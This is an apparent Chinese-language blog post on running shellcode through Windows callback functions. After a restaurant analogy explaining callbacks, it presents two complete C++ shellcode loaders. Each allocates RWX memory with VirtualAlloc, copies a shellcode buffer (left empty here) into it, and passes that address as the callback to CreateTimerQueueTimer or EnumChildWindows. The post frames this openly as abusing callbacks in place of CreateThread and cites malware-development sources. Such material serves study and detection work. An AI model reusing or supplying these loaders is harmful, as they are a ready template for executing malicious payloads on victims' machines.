回调执行shellcode

一、介绍

回调函数本质上是一个被传递到另一个函数中的函数并且 在适当的时候被调用。在这个过程中,回调函数通常作为参数传递给其他函数(通常是调用者函数),而被调用者函数会在某些条件满足时调用这个回调函数,

回调函数用于处理事件或在满足条件时执行操作。它们用于 Windows 操作系统中的各种场景,包括事件处理、窗口管理和多线程,在 Windows API 中,函数如 EnumChildWindowsSetWindowLong 都可以使用回调函数。

回调函数的本质是把代码的执行控制权从调用者转移到回调函数。当回调函数被调用时,执行会跳转到回调函数的地址,完成特定的操作。

(1)举例理解:

你去餐厅吃饭,服务员告诉你:“如果你的餐点做好了,我会来通知你。”你坐下来,等待餐点准备好。

如何对应回调函数:

  1. 你(顾客):你提供了一个需求(餐点),但并不关心什么时候餐点做好。你只是告知服务员:“当餐点准备好时,请通知我”。这就像你提供一个回调函数,告诉程序在某个条件满足时该执行什么操作。

  2. 服务员(接收者):服务员负责接收你的需求,并且在餐点做好后,主动通知你。服务员不关心你餐点的具体做法,知道什么时间通知你就行。在代码中,这就是回调函数的接收者,它在满足特定条件时调用你提供的回调函数。

  3. 通知(回调函数被调用):当餐点准备好了,服务员会来通知你,这时你会去拿餐。这个通知就像是“回调函数的执行”一样,服务员按你的要求,触发了回调函数,告诉你餐点准备好了。 

二、滥用回调函数

Windows回调可以使用函数指针执行。要运行有效载荷,必须传递有效载荷的地址,而不是有效的回调函数指针。回调执行可以取代使用 WinAPI CreateThread 和其他线程相关技术来执行有效载荷。此外,无需通过传递适当的参数来正确使用这些函数。这些函数的返回值或功能并不重要。

关于回调函数的一个重要点是它们只能在本地进程地址空间中工作并且不能用于执行远程代码注入技术。 

回调函数示例

以下函数都是能够执行回调函数。

CreateTimerQueueTimer 的 第三个参数

BOOL CreateTimerQueueTimer(
  [out]          PHANDLE             phNewTimer,
  [in, optional] HANDLE              TimerQueue,
  [in]           WAITORTIMERCALLBACK Callback,      // 回调函数
  [in, optional] PVOID               Parameter,
  [in]           DWORD               DueTime,
  [in]           DWORD               Period,
  [in]           ULONG               Flags
);

CreateTimerQueueTimer 是一个异步调用,它会在指定的时间后触发回调函数。具体来说,定时器并不会在创建时立即执行,而是由操作系统在后台管理并在指定时间后调用回调函数,如果没有其他的等待机制主线程可能会直接退出,导致定时器的回调函数还没来得及执行

#include <windows.h>
#include <iostream>

unsigned char shellcode[] = "";

int main() {

    HANDLE timer = NULL;
    LPVOID lpAddress = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (lpAddress == NULL) {

        std::cerr << "VirtualAllocEx failed with error: " << GetLastError() << std::endl;
    }
    memcpy(lpAddress, shellcode, sizeof(shellcode));
    if (!CreateTimerQueueTimer(&timer, NULL, (WAITORTIMERCALLBACK)lpAddress, NULL, NULL, NULL, NULL)) {
        printf("[!] CreateTimerQueueTimer Failed With Error : %d \n", GetLastError());
        return -1;
    }
    Sleep(1000);

}

EnumChildWindows 的 第二个参数

BOOL EnumChildWindows(
  [in, optional] HWND        hWndParent,
  [in]           WNDENUMPROC lpEnumFunc,    // here
  [in]           LPARAM      lParam
);
#include <windows.h>
#include <iostream>

unsigned char shellcode[] = "";

int main() {

    HANDLE timer = NULL;
    LPVOID lpAddress = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (lpAddress == NULL) {

        std::cerr << "VirtualAllocEx failed with error: " << GetLastError() << std::endl;
    }
    memcpy(lpAddress, shellcode, sizeof(shellcode));
    if (!EnumChildWindows(NULL, (WNDENUMPROC)lpAddress, NULL)) {
        printf("[!]  Failed With Error : %d \n", GetLastError());
        return -1;
    }
    

}

  

参考链接:

https://github.com/aahmad097/AlternativeShellcodeExec

Maldevacademy 

 
posted @ 2025-01-17 15:47  aoaoaoao  阅读(86)  评论(0)    收藏  举报